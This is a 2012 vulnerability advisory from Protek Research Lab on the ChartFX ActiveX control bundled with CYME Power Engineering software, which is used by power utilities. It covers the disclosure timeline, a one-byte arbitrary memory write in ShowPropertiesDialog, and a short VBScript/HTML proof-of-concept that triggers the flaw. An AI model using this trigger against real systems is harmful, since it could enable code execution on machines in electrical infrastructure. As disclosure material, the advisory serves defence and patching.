81 lines
No EOL
2.4 KiB
Text
81 lines
No EOL
2.4 KiB
Text
#####################################################################################
|
|
|
|
Application: CYME Power Engineering Software
|
|
|
|
Platforms: Windows
|
|
Version: CYME version 5.0.12.663.
|
|
|
|
Secunia: SA48430
|
|
|
|
{PRL}: 2012-29
|
|
|
|
Author: Francis Provencher (Protek Research Lab's)
|
|
|
|
Website: http://www.protekresearchlab.com/
|
|
|
|
Twitter: @ProtekResearch
|
|
|
|
|
|
#####################################################################################
|
|
|
|
1) Introduction
|
|
2) Report Timeline
|
|
3) Technical details
|
|
4) The Code
|
|
|
|
|
|
#####################################################################################
|
|
|
|
===============
|
|
1) Introduction
|
|
===============
|
|
|
|
The CYME Power Engineering software is a suite of applications composed of a network editor, analysis
|
|
modules and user-customizable model libraries from which you can choose to get the most powerful solution.
|
|
|
|
The modules available comprise a variety of advanced applications and extensive libraries for either
|
|
transmission/industrial or distribution power network analysis.
|
|
|
|
(http://www.cyme.com/software/)
|
|
|
|
This software is use by all major electrical production/distrubtion company
|
|
http://www.cyme.com/company/clients/
|
|
|
|
#####################################################################################
|
|
|
|
============================
|
|
2) Report Timeline
|
|
============================
|
|
|
|
2012-03-14 Vulnerability reported to Secunia
|
|
2012-10-03 Publication of this advisory (180 Days)
|
|
|
|
|
|
#####################################################################################
|
|
|
|
============================
|
|
3) Technical details
|
|
============================
|
|
The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()"
|
|
method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be
|
|
exploited to write a single byte value to an arbitrary memory location via the
|
|
"pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.
|
|
|
|
|
|
#####################################################################################
|
|
|
|
===========
|
|
4) The Code
|
|
===========
|
|
<object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' />
|
|
<script language='vbscript'>
|
|
targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll"
|
|
prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )"
|
|
memberName = "ShowPropertiesDialog"
|
|
progid = "Cfx62ClientServer.Chart"
|
|
argCount = 2
|
|
|
|
arg1="defaultV"
|
|
arg2=2147483647
|
|
|
|
target.ShowPropertiesDialog arg1 ,arg2 |